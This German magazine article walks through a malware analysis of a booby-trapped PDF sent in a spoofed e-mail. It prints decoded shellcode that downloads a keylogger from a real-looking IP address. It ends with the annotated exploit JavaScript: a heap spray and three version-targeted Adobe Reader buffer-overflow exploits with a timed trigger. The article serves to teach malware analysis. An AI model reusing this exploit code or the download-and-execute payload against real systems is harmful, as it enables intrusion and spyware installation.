zurück zum Artikel

Tatort Internet: PDF mit Zeitbombe

Thorsten Holz

Thomas schickt mir was zu "NTFS Internals" – technische Details zur Implementierung des Windows-Dateisystems. Woher weiß der denn, dass das schon seit einiger Zeit auf meiner Todo-Liste steht? Hab ich vielleicht beim Mittagessen erwähnt. Neugierig geworden, öffne ich die angehängte PDF-Datei.

Noch bevor ich den ersten Absatz fertig gelesen habe, schließt sich der Adobe Reader wie von Geisterhand. Ein bisschen schläfrig klicke ich ein zweites Mal auf den Dateianhang und das Spiel wiederholt sich: Erst öffnet sich ein Text im Adobe Reader und nach ein paar Sekunden verschwindet das Fenster ohne weiteres Zutun wieder.

Auf den ersten Blick sah die Datei tatsächlich aus, als ob sie was zu NTFS erzählen wollte.

Das ist mehr als merkwürdig, ich bin schlagartig wach und schaue mir die Mail noch einmal genauer an. Was soll das förmliche „Grüße, T. Gibbs“ am Ende? Thomas verabschiedet sich doch sonst immer mit „Ciao Thomas“. Die erweiterte Ansicht der Header-Zeilen verrät mir den Transportweg der Mail:

Received from 113.112.141.166  

Sie wurde also ganz offensichtlich nicht von einem unserer internen Systeme, sondern von einem Rechner in Asien verschickt. Damit ist die Sache eigentlich klar: Der Absender ist gefälscht und die PDF-Datei vermutlich ein Versuch, meinen Rechner zu infizieren. Aber hat das jetzt funktioniert oder nicht?

Natürlich könnte ich einfach das System-Image zurückspielen, das ich erst gestern erstellt habe. Das dauert höchstens 30 Minuten und danach könnte ich die Reisekostenabrechnung machen, die die Buchhaltung schon letzte Woche angemahnt hat. Okay – die Entscheidung ist gefallen – ich werd die PDF-Datei analysieren.

Zunächst muss ich meine Kenntnisse über das PDF-Format etwas auffrischen. Ich erinnere mich noch dunkel, dass ein PDF-Dokument aus verschiedenen Objekten zusammengesetzt ist, die eine Baumstruktur bilden. Jedes Objekt beschreibt dabei einen Aspekt des Dokuments, beispielsweise ist der Inhalt einer Seite in einem Objekt abgespeichert und die Informationen zur Schriftart und -größe in einem anderen.

Der Plan ist damit also, die einzelnen Objekte der verdächtigen Datei zu analysieren, um genauer zu verstehen, was hier vor sich geht. Bevor ich die Datei im Text-Editor öffne, hole ich schon mal Sid Stuarts O’Reilly-Buch „PDF Hacks“ aus dem Regal.

PDF-Dokumente haben eine baumartige Struktur.

Wordpad zeigt am Anfang die charakteristische Zeichenkette „%PDF-1.4“, es handelt sich also definitiv um eine PDF-Datei. Die PDF-Basics sind einfach und gut zu erkennen. Die einzelnen Objekte innerhalb eines PDF-Dokuments haben die Struktur:

$nr $version obj
object
endobj

obj und endobj sind feste Trennzeichen zwischen den Objekten. Die sind dann via $nr durchnummeriert. Die Versionsnummer hingegen ist meistens 0, da die Dokumente nur eine Version eines Objekts enthalten.

Der Aufbau des eigentlichen Objekts hängt von dessen Typ ab. Typischerweise werden innerhalb eines sogenannten Dictionaires – ausgezeichnet durch << und >> – die Parameter des Objekts beschrieben. Am Anfang steht meist eine Art Inhaltsverzeichnis mit /Type /Catalog – so auch bei meinen angeblichen NTFS-Interna:

1 0 obj
<<
/Type /Catalog
/Outlines 3 0 R
/Pages 4 0 R
...
/ViewerPreferences
<<
/PageDirection /L2R
>>
>>
endobj

Es besteht im Wesentlichen aus Verweisen der Form $i $j R. Objekt drei ist angeblich eine Art Inhaltsübersicht, die eigentlichen Seiten folgen als /Pages. Gegen Ende werden noch ein paar Eigenschaften des Dokuments wie die Leserichtung L2R, also „left to right“, festgelegt. So weit, so langweilig. Da hätte ich auch gleich meine Reisekosten machen können.

Objekt zwei bringt mehr Verwaltungskram, der mich in meinem Verdacht bestätigt:

/Creator (Scribus 1.3.3.13)
/Producer (Scribus PDF Library 1.3.3.13)
...
/CreationDate (D:20090811124352)
/ModDate (D:20090811124352)

So sehr ich Open Source schätze – es ist eher unwahrscheinlich, dass jemand seine Kenntnisse über NTFS mit dem Layout-Programm Scribus setzt, um es dann in PDF-Form zu bringen. Ich blättere weiter nach unten und dann wird’s endlich spannend.

Mehr Infos

Die im Text dieses Artikels auftauchenden Code-Fragmente können dazu führen, dass Ihr Virenwächter Alarm schlägt. Dabei handelt es sich dann um einen Fehlalarm.

Da finden sich reihenweise Objekte mit den Parametern /Filter /FlateDecode, die dann zwischen stream und endstream Binärdaten enthalten. Meine parallele Lektüre verrät mir, dass einfache Binärdaten in Hex-Darstellung die Anweisung /ASCIIHexDecode enthielten. FlatDecode bedeutet hingegen, dass die Daten mit der (De-)Kompressionsbibliothek zlib zu entpacken sind.

Dazu muss ich zum Glück das Rad nicht neu erfinden. Sid Stuart hat als Beigabe zu seinem Buch das PDF-Toolkit [1] entwickelt, das alles mögliche mit PDF-Dateien anstellen kann. Also etwa einzelne Seiten oder Passwortsperren entfernen oder mit

$ pdftk NTFS-internals.pdf output plain.txt uncompress 

eine unkomprimierte Version erstellen. Das bläst die Datei von 15 auf rund 38 KByte auf. Aber jetzt habe ich wenigstens eine Chance, zu verstehen, was da passiert. In „plain.txt“ überspringe ich seitenweise Zahlenkolonnen für Formatierungen, ein paar JPEG-Bilder und Font-Beschreibungen. Doch halt, zurück – da war etwas. Der Stream in Objekt 62 sieht eindeutig nach JavaScript-Code aus:

this.nfMZkYrtz='nfMZkYrtz';var lookYears = 'var t';
this.zAcSyh0dg=false;...

Stimmt, ich erinnere mich – PDF-Dateien können JavaScript enthalten! Beim genaueren Hinsehen fällt mir auf, dass die den Variablen zugewiesenen Zeichenketten selbst JavaScript-Schnipsel sind. In lookYears landet etwa var t, und etwas weiter unten das Schlüsselwort new in duringFactIf. Der Sinn wird mir klar, als ich das folgende Objekt 63 inspiziere, das weiteren Script-Code enthält:

var out = '' + lookYears+ 
leapGalleyEver+
etcWordSince+
duringFactIf+
[..]

Okay – da wird also in der Variablen out Script-Code zusammengebaut. Und weiter unten in Objekt 65 taucht etwas auf, das aussieht, wie ein Versuch das aufzurufen:

function fBE1wMund0(){}
ex["e"+"val"](out);

Die komische Funktion fBE1wMund0(){} ist nur ein Ablenker. Aber jede Wette, dass ex irgendwie dazu dient, die JavaScript-Funktion eval() so zu aktivieren, dass sie den gesammelten Code ausführt.

Aber langsam wird es mir zu dumm, die X-fach ineinander verschachtelten Verschleierungsfunktionen auseinanderzuklamüsern. Wozu gibt es SpiderMonkey [2]? Also extrahier ich die ganzen JavaScript-Fragmente in eine Datei. Um zu sehen, was da ausgeführt werden soll, ersetze ich noch das ex["e"+"val"](out); durch einen harmlosen print-Befehl und werfe das dann eine halbe Stunde später dem JavaScript-Affen vor.

Wie nicht anders zu erwarten, fällt der beim ersten Versuch auf die Nase: „ReferenceError: app is not defined“. Der Störenfried ist die Zeile

var ex = app; 

Jetzt fällt bei mir der Groschen: ex ist nichts anderes als die Referenz auf den Adobe Reader selbst, auf die man in einem PDF-Dokument via app zugreifen kann. Damit steht der Code-Schnipsel für ex["eval"](out) – eine etwas verschrobene, aber valide Schreibweise für app.eval, also tatsächlich für einen Versuch den Code auszuführen.

Natürlich kennt SpiderMonkey app nicht. Da ich aber das eval-Statement ohnehin entfernt habe, kann ich auch die störende Zuweisung einfach auskommentieren. Der nächste Anlauf klappt endlich und SpiderMonkey spuckt erneut JavaScript-Code aus, den ich wieder in eine Datei schreibe.

Ziemlich am Anfang wird da ein Feld mit über 1000 seltsam formatierten Unicode-Escape-Sequenzen erstellt:

var wly56uG4w = new Array("%u534","0%u524",
"1%u5356%u9","c15%u00e7","%u0000%u",...

das sieht mir sehr nach Shellcode aus, der über eine Sicherheitslücke eingeschleust und ausgeführt werden soll. Um meinen Verdacht zu erhärten, fasse ich die Zeichen zu einem String zusammen und interpretiere das Ganze als Code in Hexadezimal-Darstellung mit

perl -pe 's/\%u(..)(..)/chr(hex($2)).chr(hex($1))/ge'  

Als ich den damit erzeugten Code im Hex-Editor anschaue, finde ich den endgültigen Beweis, dass da etwas Böses vor sich geht.

[...]
00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 65 ..............Ge
74 54 65 6d 70 50 61 74 68 41 00 4c 6f 61 64 4c tTempPathA.LoadL
69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 ibraryA.GetProcA
64 64 72 65 73 73 00 57 69 6e 45 78 65 63 00 bb ddress.WinExec.?
89 f2 89 f7 30 c0 ae 75 fd 29 f7 89 f9 31 c0 be .?.?0??u?)?.?1??
[...]
00 56 57 e8 58 ff ff ff 5f 5e ab 01 ce 80 3e bb .VW?X???_^?.?.>?
74 02 eb ed c3 55 52 4c 4d 4f 4e 2e 44 4c 4c 00 t.???URLMON.DLL.
55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c URLDownloadToFil
65 41 00 75 70 64 61 74 65 2e 65 78 65 00 63 72 eA.update.exe.cr
61 73 68 2e 70 68 70 00 68 74 74 70 3a 2f 2f 32 ash.php.http://2
31 30 2e 35 31 2e 31 38 37 2e 34 35 2f 6c 69 62 10.51.187.45/lib
2f 75 70 64 61 74 65 2e 70 68 70 3f 69 64 3d 30 /update.php?id=0
00 90 ..

Die hier auftauchende URL zeigt auf eine Datei, die nach einhelliger Meinung der Virenscanner von Virustotal [3] einen Keylogger beherbergt. Die sollte dann vermutlich als „update.exe“ im Temp-Verzeichnis abgelegt und via WinExec ausgeführt werden. Aber hat es mich nun erwischt oder nicht? Da mein Virenscanner laut Virustotal das Spionageprogramm erkannt hat, hätte er mich eigentlich warnen sollen, wenn der auf dem System gelandet wäre.

Aber da sind noch zwei weitere Shellcode-Arrays. Deren Analyse ergibt die gleiche URL, nur der Parameter variiert mit „id=1“ beziehungsweise „id=2“. Das spricht dafür, dass noch andere Schadprogramme nachgeladen werden könnten.

Irgendwie ist mir nicht wohl dabei, mich darauf zu verlassen, dass der Virenwächter die alle zuverlässig erkannt und abgewehrt hätte. Andererseits hab ich nur wenig Lust, das System auf einen bloßen Verdacht hin platt zu machen. Außerdem droht noch immer die Reisekostenabrechnung. Also mache ich mich auf die Suche nach dem konkreten Exploit, den die PDF-Datei an mir ausprobiert hat.

Weiter unten im JavaScript-Code entdecke ich Zugriffe auf app.viewerVersion.toString(). Oh weh – das sieht aus, als hätte der gleich ein ganzes Repertoire, das er abhängig von der Versionsnummer des Readers zum Einsatz bringt. Der erste kommt mir bekannt vor – da war doch mal ein Pufferüberlauf in Collab.collectEmailInfo. Eine schnelle Suche im Netz fördert einen Eintrag bei SecurityFocus [4] von Anfang 2008 zu Tage; seit Version 8.1.2 sollte das gefixt sein. Glück gehabt.

Doch die PDF-Datei hat noch mehr auf Lager. Für neuere Reader-Versionen versucht sie es mit einem weiteren Exploit, der sogar durch ein try/catch-Konstrukt abgesichert ist.

Das nutzt einen Fehler in Collab.getIcon aus. Die Datenbank von SecurityFocus [5] behauptet, dass unter anderem Adobe Reader 9.1 vom März 2009 die Lücke schließt. Frühjahr 2009? Da hab ich zwischendurch sicher ein Update gemacht.

Außerdem verschwendet der Autor dieses PDF-Trojaners keine Ressourcen. Er beschränkt seine Exploits fein säuberlich auf die jeweils verwundbaren Versionen:

if((waNWb0AX4 >= 8.102 && waNWb0AX4 < 8.104) || 
(waNWb0AX4 >= 9 && waNWb0AX4 < 9.1) ||
waNWb0AX4 <= 7.101)

Der dritte im Bunde – ein Exploit für einen Pufferüberlauf in util.printf – betrifft sogar nur die Reader-Versionen 8.102 und 7.1. Das war’s offensichtlich. Hat sich die Arbeit doch gelohnt – ich kann mir die Neuinstallation schenken, mein Rechner muss sauber sein.

Und in der letzten Zeile findet sich dann auch die Erklärung, warum der Reader nicht sofort, sondern erst nach einigen Sekunden abgestürzt ist. Der Bastard hat eine Art Zeitzünder installiert:

app.setTimeOut("app.jTSCccXdL()", 10); 

Erst nach 10 Sekunden wird die Funktion jTSCccXdL() ausgeführt, die die ganze Logik des Exploits enthält.

A propos: Wieso ist mein Reader überhaupt abgestürzt, wenn er gar nicht anfällig war? Mal ganz davon abgesehen, dass das Programm nicht mehr crashen sollte, wenn es den Pufferüberlauf sauber abfängt, hab ich doch mit eigenen Augen gesehen, dass der Exploit nur bei den alten, verwundbaren Versionen zuschlägt. Moment Mal – ich schau doch lieber nach.

Mist! Der Reader sagt ganz deutlich „Version 9.0“. Wie konnte das passieren? Der Rechner ist also ziemlich sicher doch verseucht. Aber den jetzt auf die Hinterlassenschaften von update.exe & Co. zu untersuchen, hab ich keine Lust mehr. Also doch zurück zum gestrigen Image. Naja – immerhin gibt mir das noch eine halbe Stunde bis ich mich dann doch an die verhasste Reisekostenabrechnung machen muss. (ju [6])

Die Serie "Tatort Internet" wurde ursprünglich im c't magazin [9] ab Heft 13/2010 veröffentlicht. In den Artikeln können Sie Experten über die Schulter schauen, wie sie verdächtige Dateien analysieren und Schädlingen auf die Schliche kommen. Alle in der Serie vorgestellten Malware-Samples stammen aus echten Angriffen und wurden unter anderem mit den hier vorgestellten Methoden entlarvt. Die Geschichten "drumherum" wurden durch reale Vorkommnisse inspiriert ;-)

Wie schon in der ersten Episode analysiert diesmal Thorsten Holz vom deutschen Honeynet-Projekt. Im Hauptberuf ist er Juniorprofessor an der Ruhr-Universität Bochum, mit einem Schwerpunkt auf Malware-Analyse. Im Mittelpunkt der nächsten Folge steht eine dubiose Flash-Datei.

Übersicht aller Folgen:

  1. Alarm beim Pizzadienst [10]
  2. Zeig mir das Bild vom Tod [11]
  3. PDF mit Zeitbombe [12]
  4. Angriff der Killervideos [13]
  5. Matrjoschka in Flash [14]

Die hier dokumentierten Code-Fragmente lösen bei manchen Virenwächtern einen Alarm aus. Dabei handelt es sich um einen Fehlalarm – die Seite ist harmlos und kann keinen Schaden auf Ihrem System anrichten.

var t98Sd1ma7 = new Array();
var gh4Xf51rN;

// Vorbereiten des Heap Spraying: Bauen der Tu-NIX-Rutsche
function jytghWfFit(yYGbAXsdzD, hTfjUKHViV){
while(yYGbAXsdzD.length * 2 < hTfjUKHViV){
yYGbAXsdzD += yYGbAXsdzD;
}

yYGbAXsdzD = yYGbAXsdzD.substring(0, hTfjUKHViV / 2);
return yYGbAXsdzD;
}

// Diese Funktion bestimmt den passenden Shellcode und
// bastelt danach
im Speicher die Tu-NIX-Rutsche
function kdNO4K43(kJSzl5v6vo){
if(kJSzl5v6vo == 0){
var kujFF0yXr = 0x0c0c0c0c;
var wly56uG4w = new Array("%u535","0%u525","1%u5756%u9",
[...],"03d%u","9000");
}
else if(kJSzl5v6vo == 1){
kujFF0yXr = 0x30303030;
var wly56uG4w = new Array("%u5350","%u5251%u","5756%u9c5",
[...],"u313d%u900","0");
}
else if(kJSzl5v6vo == 2){
var wly56uG4w = new Array("%u5350%u52","51%u5756","%u9c55%u",
[...],"%u6469%u3","23d%u9000");
}

// Hier wird der Shellcode nur zusammengebaut -> wly56uG4w
wly56uG4w = unescape(wly56uG4w.join(""));

var lQ7jYN7Ee = 0x400000;
var l7UWARF9Z = wly56uG4w.length * 2;
var hTfjUKHViV = lQ7jYN7Ee - (l7UWARF9Z + 0x38);
// Die Tu-NIX-Befehle aka NOPs
var yYGbAXsdzD = unescape("%u9090%u9090");

// Jetzt wird der Tu-NIX-Teil der Rutsche zusammengebaut...
yYGbAXsdzD = jytghWfFit(yYGbAXsdzD, hTfjUKHViV);

var vwd0fuUcVE = (kujFF0yXr - 0x400000) / lQ7jYN7Ee;

// ... und hier die Tu-NIX-Rutsche angelegt
for(var ylXB738Q = 0; ylXB738Q < vwd0fuUcVE; ylXB738Q++){
t98Sd1ma7[ylXB738Q] = yYGbAXsdzD + wly56uG4w;
}
}

// Diese Funktion entscheidet, welcher Exploit probiert wird
function a6Omhe8Jq(){
var facAHEjvfd = 0;
// Feststellen der Adobe Reader Version
var waNWb0AX4 = app.viewerVersion.toString();
app.clearTimeOut(gh4Xf51rN);
if((waNWb0AX4 >= 8 && waNWb0AX4 < 8.102) || waNWb0AX4 < 7.1){
// Exploit 1: Collab.collectEmailInfo Overflow
kdNO4K43(0);
// In der Naehe von 0x0c0c0c0c liegt die Tu-NIX-Rutsche
var m5r7RwwLp = unescape("%u0c0c%u0c0c");
while(m5r7RwwLp.length < 44952) m5r7RwwLp += m5r7RwwLp;

// Vorbereiten des Exploits
var oWdCzbRki = this;
var wHOvDN3CA = Collab;
oWdCzbRki["collabStore"] =
wHOvDN3CA["collectEmailInfo"]({subj : "", msg : m5r7RwwLp});


} if((waNWb0AX4 >= 8.102 && waNWb0AX4 < 8.104) ||
(waNWb0AX4 >= 9 && waNWb0AX4 < 9.1) ||
waNWb0AX4 <= 7.101 ){
try{
if(app.doc.Collab.getIcon){
// Exploit 2: Collab.getIcon
kdNO4K43(2);
// Vorbereiten des Exploits
var bDA4BU6bV = unescape("%09");
while(bDA4BU6bV.length < 0x4000){bDA4BU6bV += bDA4BU6bV;}
bDA4BU6bV = "N." + bDA4BU6bV;

// Verwundbare Funktion aufrufen
var vkQkwqXx = app;
vkQkwqXx["doc"]["Collab"]["getIcon"](bDA4BU6bV);
facAHEjvfd = 1;
} else{facAHEjvfd = 1;}
} catch(e){facAHEjvfd = 1;}
if(facAHEjvfd == 1){
if(waNWb0AX4 == 8.102 || waNWb0AX4 == 7.1){
// Exploit 3: util.printf
kdNO4K43(1);
// Parameter für Exploit vorbereiten
var ogW2Dea1i = "12999999999999999999";
for(fqwUwehjt = 0; fqwUwehjt < 276; fqwUwehjt++){
ogW2Dea1i += "8";
}
// Verwundbare Funktion aufrufen
var tEODTfxDJ = util;tEODTfxDJ["printf"]("%45000f", ogW2Dea1i);}
}
}
}

// Die Zeitbombe, die den Exploit dann startet
app.jTSCccXdL = a6Omhe8Jq;
gh4Xf51rN = app.setTimeOut("app.jTSCccXdL()", 10); (ju [15])

URL dieses Artikels:
https://www.heise.de/-1036564

Links in diesem Artikel:
[1] http://www.accesspdf.com/pdftk/
[2] http://www.mozilla.org/js/spidermonkey/
[3] http://www.virustotal.com
[4] http://www.securityfocus.com/bid/27641
[5] http://www.securityfocus.com/bid/34169
[6] mailto:ju@heisec.de?subject=Tatort%20Internet
[7] http://www.heise.de/security/foren/S-Tatort-Internet/forum-181148/list/
[8] http://www.facebook.com/pages/Tatort-Internet/116558001722926
[9] http://www.heise.de/ct/
[10] https://www.heise.de/hintergrund/Tatort-Internet-Alarm-beim-Pizzadienst-1017983.html
[11] https://www.heise.de/hintergrund/Tatort-Internet-Zeig-mir-das-Bild-vom-Tod-1028204.html
[12] https://www.heise.de/hintergrund/Tatort-Internet-PDF-mit-Zeitbombe-1036564.html
[13] https://www.heise.de/hintergrund/Tatort-Internet-Angriff-der-Killervideos-1047129.html
[14] https://www.heise.de/hintergrund/Tatort-Internet-Matrjoschka-in-Flash-1052848.html
[15] mailto:ju@ct.de